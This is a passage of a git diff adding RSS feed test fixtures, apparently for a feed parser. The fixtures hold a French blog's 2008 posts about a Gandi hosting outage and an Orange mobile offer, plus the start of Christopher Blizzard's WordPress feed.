href="http://www.spip-blog.net/Premiers-tests-de-Gandi-Hosting.html" class="spip_out"&gt;tests faits par Fil et Ben.&lt;/a&gt;, mais &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166037" class="spip_out"&gt;Nicolas relativise en indiquant que c&amp;#8217;est surtout le trafic qui détermine la puissance nécessaire&lt;/a&gt;. Vu le faible trafic de Gastero Prod, une part devrait me suffire pour l&amp;#8217;instant, mais je commande tout de même une seconde part&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-3" name="nh2-3" id="nh2-3" class="spip_note" title='[3] Je pourrais la r&amp;#233;silier d&amp;#232;s que je voudrais et ne paierait rien de plus, (...)'&gt;3&lt;/a&gt;] pour être sûr que l&amp;#8217;indisponibilité persistante ne vient pas de là.&lt;/p&gt; &lt;p&gt;Toujours sans nouvelles en fin d&amp;#8217;après-midi, &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166070" class="spip_out"&gt;je relance à tout hasard pour voir si on ne m&amp;#8217;a pas oublié&lt;/a&gt;, et cette fois &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166088" class="spip_out"&gt;Greg de Gandi m&amp;#8217;assure &lt;strong&gt;jeudi&lt;/strong&gt; matin qu&amp;#8217;il s&amp;#8217;occupe de moi&lt;/a&gt;, et m&amp;#8217;informe que &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166095" class="spip_out"&gt;ma VM a souffert notamment à cause d&amp;#8217;opérations gourmandes de MySQL, mais est maintenant disponible&lt;/a&gt;. Il m&amp;#8217;invite à aller discuter dans le forum de support plutôt que sur le blog, &lt;a rel="nofollow" target="_blank" href="http://groups.gandi.net/fr/topic/gandi.fr.hebergement.expert/15410" class="spip_out"&gt;ce que je fais, visiblement sans trouver d&amp;#8217;interlocuteur&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Je fini par aussi envoyer un message au support pour obtenir un ticket d&amp;#8217;incident, et Greg me contacte alors directement par mail &lt;strong&gt;vendredi&lt;/strong&gt; pour m&amp;#8217;indiquer que ma VM redémarre bien, mais ne répond pas à cause d&amp;#8217;un problème d&amp;#8217;I/O&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-4" name="nh2-4" id="nh2-4" class="spip_note" title='[4] Input/Output, soit entr&amp;#233;e/sortie, les moyens de communication, (...)'&gt;4&lt;/a&gt;]. Il m&amp;#8217;indique finalement en fin d&amp;#8217;après-midi d&amp;#8217;activer la console et de lancer une vérification du disque&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-5" name="nh2-5" id="nh2-5" class="spip_note" title='[5] Commande fsck pour les connaisseurs'&gt;5&lt;/a&gt;], ce que je ne parviens pas à faire, la console restant désespérant muette&amp;nbsp;!&lt;/p&gt; &lt;p&gt;Ryan de Gandi &amp;mdash; je vais finir par tous les connaître &amp;mdash; répond à mon ticket &lt;strong&gt;samedi&lt;/strong&gt; en fin de matinée en indiquant que mon &amp;#171;&amp;nbsp;serveur fait partie d&amp;#8217;un groupe plus large qui rencontre un problème de saturation qui explique bien les observations que [j&amp;#8217;ai] remontées&amp;nbsp;&amp;#187;. Maigre consolation, je ne suis donc pas seul à subir ces tracas.&lt;/p&gt; &lt;p&gt;C&amp;#8217;est finalement &lt;strong&gt;dimanche&lt;/strong&gt; matin, après plusieurs redémarrages, que j&amp;#8217;arrive enfin à accéder à la console et à lancer la vérification du disque, qui a effectivement de multiples petits problèmes sans gravité, et que tout revient dans l&amp;#8217;ordre&amp;nbsp;!&lt;/p&gt; &lt;h3 class="spip"&gt;Et maintenant ?&lt;/h3&gt;\r
+&lt;p&gt;J&amp;#8217;avoue que j&amp;#8217;ai eu la tentation à plusieurs reprises au cours de ces &lt;strong&gt;10 jours d&amp;#8217;indisponibilité&lt;/strong&gt; de quitter Gandi, mais je suis conscient que le service est encore en &lt;i&gt;beta&lt;/i&gt; et que Gandi est autant victime que moi avec un fournisseur semble-t-il peu sérieux&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-6" name="nh2-6" id="nh2-6" class="spip_note" title='[6] Des disques durs issus d'&gt;6&lt;/a&gt;].&lt;/p&gt; &lt;p&gt;Je tiens aussi à saluer l&amp;#8217;équipe de Gandi &amp;mdash; dont au moins Nicolas, Laura, Greg, et Ryan, si vous avez suivi &amp;mdash; qui a été sur le pont toute la semaine, bien plus réactive et transparente sur les soucis rencontrés que bien d&amp;#8217;autres professionnels auxquels j&amp;#8217;ai pu avoir à faire à titre personnel ou professionnel.&lt;/p&gt; &lt;p&gt;Je vais donc rester encore un peu, avec maintenant deux parts &amp;mdash; et peut-être un peu plus bientôt puisque d&amp;#8217;autres sites vont rejoindre Gastero Prod &amp;mdash; et surtout la mise en place très rapidement de sauvegardes automatiques distantes.&lt;/p&gt; &lt;p&gt;L&amp;#8217;avenir dira si j&amp;#8217;ai fait le bon choix...&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-1" name="nb2-1" class="spip_note" title="Notes 2-1"&gt;1&lt;/a&gt;] Levez la main que je vous compte&amp;nbsp;! &lt;img alt=";-)" title=";-)" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/clin_d-oeil.png" width="19" height="19"/&gt;&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-2" name="nb2-2" class="spip_note" title="Notes 2-2"&gt;2&lt;/a&gt;] Oui, c&amp;#8217;est la distribution que j&amp;#8217;utilise tant bien que mal depuis peu&lt;/p&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-3" name="nb2-3" class="spip_note" title="Notes 2-3"&gt;3&lt;/a&gt;] Je pourrais la résilier dès que je voudrais et ne paierait rien de plus, ça mérite une tentative&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-4" name="nb2-4" class="spip_note" title="Notes 2-4"&gt;4&lt;/a&gt;] &lt;i&gt;Input/Output&lt;/i&gt;, soit entrée/sortie, les moyens de communication, quoi&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-5" name="nb2-5" class="spip_note" title="Notes 2-5"&gt;5&lt;/a&gt;] Commande &lt;code class='spip_code' dir='ltr'&gt;fsck&lt;/code&gt; pour les connaisseurs&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2-6" name="nb2-6" class="spip_note" title="Notes 2-6"&gt;6&lt;/a&gt;] Des disques durs issus d&amp;#8217;une même série dans la baie, c&amp;#8217;est la quasi assurance que si l&amp;#8217;un est défectueux, les autres le seront aussi, ce n&amp;#8217;est pas très professionnel&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/298262467" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/298285255" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/gandi-m-a-presque-tuer-mais-je-n-ai-pas-deserte.html</guid>\r
+         <pubDate>Sun, 25 May 2008 08:01:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fgandi-m-a-presque-tuer-mais-je-n-ai-pas-deserte.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/gandi-m-a-presque-tuer-mais-je-n-ai-pas-deserte.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Performance web » Archive du blog » JSON ?</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/295729482/json</link>\r
+         <description>Contrairement à une idée reçue assez répandue, l'usage de JSON à la place de XML pour optimiser les performances d'Ajax n'est peut-être pas si pertinent que ça...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/295729482" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_eb2a77c9b9a1550f9ca68b8b20bf2713</guid>\r
+         <pubDate>Thu, 22 May 2008 02:55:47 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fperformance.survol.fr%2F2008%2F04%2Fjson</feedburner:awareness><feedburner:origLink>http://performance.survol.fr/2008/04/json</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Self Portrait on Flickr - Photo Sharing!</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/295233554/2505180905</link>\r
+         <description>Allez, je vous laisse découvrir tout seul ce qui fait la splendide originalité de cette « photo » sur Flickr...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/295233554" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_72079422cb9f879a8a95b914d446ecb1</guid>\r
+         <pubDate>Wed, 21 May 2008 10:10:34 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.flickr.com%2Fphotos%2F14332748%40N05%2F2505180905</feedburner:awareness><feedburner:origLink>http://www.flickr.com/photos/14332748@N05/2505180905</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Perceptive Pixel: Update</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/294906204/perceptive-pixe.html</link>\r
+         <description>Les écran multi touch de Perceptive Pixel sont bel et bien en production, et je crois que là tout le monde va baver en rêvant d'avoir le même à la maison...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/294906204" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_6109efd4fe632698c930b1410292384e</guid>\r
+         <pubDate>Wed, 21 May 2008 01:43:04 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fdatamining.typepad.com%2Fdata_mining%2F2008%2F05%2Fperceptive-pixe.html</feedburner:awareness><feedburner:origLink>http://datamining.typepad.com/data_mining/2008/05/perceptive-pixe.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Comparatif : 5 NAS Raid 5 - HardWare.fr</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/294906205/comparatif-5-nas-raid-5.html</link>\r
+         <description>Voici un test très détaillé de 5 serveurs de stockage (NAS) pour sécuriser vos données : Buffalo Terastation Live, Qnap TS-409 Pro, Synology CS407, Thecus N4100 , Thecus N5200BR Pro&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/294906205" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_9f896b4a386c108f85379dce5eb714a4</guid>\r
+         <pubDate>Wed, 21 May 2008 00:57:02 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.hardware.fr%2Farticles%2F707-1%2Fcomparatif-5-nas-raid-5.html</feedburner:awareness><feedburner:origLink>http://www.hardware.fr/articles/707-1/comparatif-5-nas-raid-5.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : YouTube - Beauty Reel</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/294906206/watch</link>\r
+         <description>Il n'y a pas que les photos des magazines qui sont retouchées, les vidéos clips aussi !!!&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/294906206" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_da69624dc2da80b687dfeff9fe2691d1</guid>\r
+         <pubDate>Fri, 16 May 2008 08:23:58 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzH0J35JEJQs</feedburner:awareness><feedburner:origLink>http://www.youtube.com/watch?v=zH0J35JEJQs</feedburner:origLink></item>\r
+      <item>\r
+         <title>Photo : Une fenêtre de Burano</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/292780251/une-fenetre-de-burano.html</link>\r
+         <description>&lt;img src="http://www.gasteroprod.com/local/cache-vignettes/L245xH184/arton681-5449b.jpg" alt='Une fen&amp;#234;tre de Burano' width='245' height='184' class='spip_logos' style='height:184px;width:245px;'/&gt;&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;L&amp;#8217;île vénitienne de &lt;a rel="nofollow" target="_blank" href="http://fr.wikipedia.org/wiki/Burano" class="spip_out"&gt;Burano&lt;/a&gt; est célèbre pour sa dentelle et ses maisons très colorées, en voici un exemple.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Il paraît que les habitants sont obligés par la mairie de repeindre régulièrement leurs façades, pour ne pas perdre l&amp;#8217;attrait de cette destination pour les touristes&amp;nbsp;!&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/292780251" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../photos/mes-photos/une-fenetre-de-burano.html</guid>\r
+         <pubDate>Thu, 15 May 2008 21:24:00 PDT</pubDate>\r
+         <media:thumbnail url="http://www.gasteroprod.com/local/cache-vignettes/L245xH184/arton681-5449b.jpg" />\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Ffeeds.feedburner.com%2F%7Er%2FGasteroProd%2FPhotos%2F%7E3%2F292762159%2Fune-fenetre-de-burano.html</feedburner:awareness><feedburner:origLink>http://feeds.feedburner.com/~r/GasteroProd/Photos/~3/292762159/une-fenetre-de-burano.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Si l'offre Internet mobile illimité Ten by Orange vous tente, faites attention à votre facture !</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/291165050/si-l-offre-internet-mobile-illimite-ten-by-orange-vous-tente-faites-attention-a-votre-facture.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;En réponse aux offres de surf illimité proposées par d&amp;#8217;autres opérateurs, et sans doute aussi pour ne pas avoir l&amp;#8217;air de favoriser l&amp;#8217;iPhone par rapport à d&amp;#8217;autres terminaux, &lt;a rel="nofollow" target="_blank" href="http://www.orange.com/fr_FR/" class="spip_out"&gt;Orange&lt;/a&gt; a lancé récemment l&amp;#8217;offre &lt;a rel="nofollow" target="_blank" href="http://www.ten.fr/" class="spip_out"&gt;Ten&lt;/a&gt; qui promet l&amp;#8217;illimité sur le surf, le mail et même la messagerie instantanée... attention danger&amp;nbsp;!&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;L&amp;#8217;offre &amp;#171;&amp;nbsp;Ten by Orange&amp;nbsp;&amp;#187; est en effet assez dangereuse pour sa facture si on ne fait pas attention.&lt;/p&gt; &lt;p&gt;J&amp;#8217;ai par exemple pu testé avec un &lt;a rel="nofollow" target="_blank" href="http://www.ten.fr/telephone_details.php?id=12030918074022" class="spip_out"&gt;HTC Touch&lt;/a&gt;&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_490 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L373xH285/HTC-Touch-1211808839.png' width='373' height='285' alt="HTC Touch" title="HTC Touch" style='height:285px;width:373px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Et voici la promesse faite par cette offre Ten by Orange&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_491 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L418xH166/Ten-by-Orange-1211808839.png' width='418' height='166' alt="Ten by Orange" title="Ten by Orange" style='height:166px;width:418px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Après différentes tentatives de surf et consultation de mails, j&amp;#8217;ai découvert qu&amp;#8217;il y a les restrictions suivantes, vraiment pas clairement exprimées par Orange, et inconnues des vendeurs des boutiques Orange ou Photo Service&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb3-1" name="nh3-1" id="nh3-1" class="spip_note" title='[1] Qui est maintenant associ&amp;#233; &amp;#224; Orange, pas &amp;#233;tonnant vu l'&gt;1&lt;/a&gt;]&amp;nbsp;:&lt;/p&gt; &lt;ul class="spip"&gt;&lt;li&gt; Le mail n&amp;#8217;est gratuit qu&amp;#8217;avec le système fourni par Ten supposant un forward de ses mails vers l&amp;#8217;adresse e-mail fournie avec l&amp;#8217;abonnement Orange, pas si on utilise Pocket Outlook en IMAP, avec GMail par exemple&lt;/li&gt;&lt;/ul&gt;\r
+&lt;ul class="spip"&gt;&lt;li&gt; Le surf n&amp;#8217;est gratuit qu&amp;#8217;avec le navigateur &lt;a rel="nofollow" target="_blank" href="http://www.operamini.com/" class="spip_out"&gt;Opera Mini&lt;/a&gt; fourni par Ten, pas avec Pocket IE, alors que c&amp;#8217;est ce dernier qui s&amp;#8217;ouvre par défaut quand on clique sur une URL&lt;/li&gt;&lt;/ul&gt;\r
+&lt;p&gt;En gros, on a un smart phone avec Windows Mobile 6 et tous ses logiciels, mais on ne peut pas les utiliser, il faut se restreindre à la suite logicielle fournie par Ten.&lt;/p&gt; &lt;p&gt;Heureusement, même si je trouve honteux d&amp;#8217;omettre de donner cette information au client, Orange est couvert puisqu&amp;#8217;&lt;a rel="nofollow" target="_blank" href="http://www.ten.fr/services_ten.php" class="spip_out"&gt;on la trouve&lt;/a&gt; en cherchant un peu sur leur site&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_492 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH231/Ten-Internet-Illimite-84c2c.png' width='450' height='231' alt="L'Internet illimit&amp;#233; fa&amp;#231;on Ten" title="L'Internet illimit&amp;#233; fa&amp;#231;on Ten" style='height:231px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;En cherchant un peu plus, notamment dans des &lt;a rel="nofollow" target="_blank" href="http://www.forummobiles.com/index.php?showtopic=163316" class="spip_out"&gt;forums&lt;/a&gt;, j&amp;#8217;ai finalement trouvé &lt;a rel="nofollow" target="_blank" href="http://wiki.ten.fr/wiki/index.php?title=Internet" class="spip_out"&gt;le wiki officiel de Ten&lt;/a&gt;, vers lequel je n&amp;#8217;ai pas trouvé de lien sur le site de l&amp;#8217;offre, mais qui précise bien la limitation au sujet du mail&amp;nbsp;:&lt;/p&gt; &lt;p&gt; &amp;#171;&amp;nbsp;L’application Mail déjà présente dans votre téléphone s’appelle un "client Mail" embarqué. Vous pouvez l’utiliser, mais &lt;strong&gt;cela ne fait pas partie de votre forfait Ten internet illimité&lt;/strong&gt;. Cela veut dire que vous serez facturés, au prix du trafic GPRS en vigueur, à chaque fois que vous recevrez ou enverrez des emails.&amp;nbsp;&amp;#187;&lt;/p&gt; &lt;p&gt;Au final, une offre tout de même intéressante, mais dont l&amp;#8217;usage est inutilement complexifié &amp;mdash; sous prétexte de simplification&amp;nbsp;! &amp;mdash; ce qui risque de conduire à des débordements de facture désagréables...&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh3-1" name="nb3-1" class="spip_note" title="Notes 3-1"&gt;1&lt;/a&gt;] Qui est maintenant associé à Orange, pas étonnant vu l&amp;#8217;essor des &amp;#171;&amp;nbsp;photo phones&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/291145751" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/291165050" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/si-l-offre-internet-mobile-illimite-ten-by-orange-vous-tente-faites-attention-a-votre-facture.html</guid>\r
+         <pubDate>Thu, 15 May 2008 10:56:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fsi-l-offre-internet-mobile-illimite-ten-by-orange-vous-tente-faites-attention-a-votre-facture.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/si-l-offre-internet-mobile-illimite-ten-by-orange-vous-tente-faites-attention-a-votre-facture.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Les ordinateurs Apple, équipés de Mac Os X, n’ont pas de virus!</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/290165123/3800</link>\r
+         <description>« le Mac, la seule plateforme qui a plus de logiciel antivirus que de virus connus ! »&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/290165123" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_78c3f652b17dd1605bd05f3f13071177</guid>\r
+         <pubDate>Wed, 14 May 2008 05:53:29 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.cuk.ch%2Farticles%2F3800</feedburner:awareness><feedburner:origLink>http://www.cuk.ch/articles/3800</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Livre Blanc : Frameworks PHP pour l’entreprise</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/290266341/livre-blanc-frameworks-php-pour-l-entreprise.html</link>\r
+         <description>Un livre blanc présentant les frameworks majeurs disponibles pour PHP, en mettant en évidence leurs zones de confort et inconfort&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/290266341" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_279c2d5bc8720bdb94fab9937198e8b2</guid>\r
+         <pubDate>Wed, 14 May 2008 05:37:57 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.clever-age.com%2Fveille%2Fpublications%2Flivres-blancs%2Flivre-blanc-frameworks-php-pour-l-entreprise.html</feedburner:awareness><feedburner:origLink>http://www.clever-age.com/veille/publications/livres-blancs/livre-blanc-frameworks-php-pour-l-entreprise.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Perl &amp; PHP : plus rapide à installer sous Windows que sous GNU/Linux…</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/290080896/perl-et-php-plus-rapide-a-installer-sous-windows-que-sous-gnu-linux</link>\r
+         <description>Et la marmotte vous allez me dire ? La marmotte en l’occurrence c’est Microsoft qui nous offre deux screencats censés démontrer la facilité de Windows et le gain de temps procuré comparé à une solution GNU/Linux&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/290080896" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_3c76ef3d74f0f21a574cf7e84af35ea0</guid>\r
+         <pubDate>Wed, 14 May 2008 02:15:29 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fblog.gnusquad.org%2F2008%2F05%2F13%2Fperl-et-php-plus-rapide-a-installer-sous-windows-que-sous-gnu-linux</feedburner:awareness><feedburner:origLink>http://blog.gnusquad.org/2008/05/13/perl-et-php-plus-rapide-a-installer-sous-windows-que-sous-gnu-linux</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Pétition accessibilité numérique dans les services publics [nota-bene.org]</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/285466810/Petition-accessibilite-numerique</link>\r
+         <description>Il est nécessaire que l’article 47 de la Loi n°2005-102 du 11 février 2005 pour l’égalité des droits et des chances, la participation et la citoyenneté des personnes handicapées soit appliquée. Signez la pétition !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/285466810" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_8f0f319bfa3a122064735a5ccd5b58f8</guid>\r
+         <pubDate>Wed, 07 May 2008 08:35:13 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.nota-bene.org%2FPetition-accessibilite-numerique</feedburner:awareness><feedburner:origLink>http://www.nota-bene.org/Petition-accessibilite-numerique</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Les Groupes Freecycle en France</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/283817187/</link>\r
+         <description>Le réseau mondial Freecycle est constitué d'une multitude de groupes à travers le globe. Il s'agit d'un mouvement basique de personnes qui offrent (et récupèrent) des objets gratuitement dans la ville où ils habitent (et alentour).&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/283817187" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_8ef988eae7c8e60bf5fd966423f4e0c7</guid>\r
+         <pubDate>Mon, 05 May 2008 02:17:35 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Ffr.freecycle.org%2F</feedburner:awareness><feedburner:origLink>http://fr.freecycle.org/</feedburner:origLink></item>\r
+   <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetFeedData?uri=GasteroProd</feedburner:awareness></channel>\r
+</rss><!-- fe1.pipes.re3.yahoo.com uncompressed/chunked Sun Jun 29 18:05:50 PDT 2008 -->\r
diff --git a/tests/twisted/local/data/beef-2.rss2 b/tests/twisted/local/data/beef-2.rss2
new file mode 100644 (file)
index 0000000..f618626
--- /dev/null
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="wordpress/2.0.5" -->
+<rss version="2.0" 
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       >
+
+<channel>
+       <title>Christopher Blizzard</title>
+       <link>http://www.0xdeadbeef.com/weblog</link>
+       <description>I love you.</description>
+       <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.0.5</generator>
+       <language>en</language>
+               <item>
+               <title>the word of the day is &#8216;jackassery&#8217;</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=338</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=338#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 02:34:26 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Freedom</category>
+
+               <category>Open Web</category>
+
+               <category>Comcast</category>
+
+               <category>Jackassery</category>
+
+               <guid isPermaLink="false">http://www.0xdeadbeef.com/weblog/?p=338</guid>
+               <description><![CDATA[
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, come on.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, <a href="http://www.getmiro.com/blog/2008/02/comcast-secretly-pays-people-to-fill-seats-at-fcc-hearing/">come on</a>.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=338</wfw:commentRss>
+               </item>
+               <item>
+               <title>interview on linux.com</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=337</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=337#comments</comments>
+               <pubDate>Tue, 26 Feb 2008 17:17:10 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Mozilla</category>
+
+               <category>Design</category>
+
+               <category>Open Web</category>
+
+               <guid isPermaLink="false">http://www.0xdeadbeef.com/weblog/?p=337</guid>
+               <description><![CDATA[
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+
+
+I did an interview a little while ago with Tina Gasperson and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and [...]]]></description>
+                       <content:encoded><![CDATA[<p>
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+</p>
+<p>
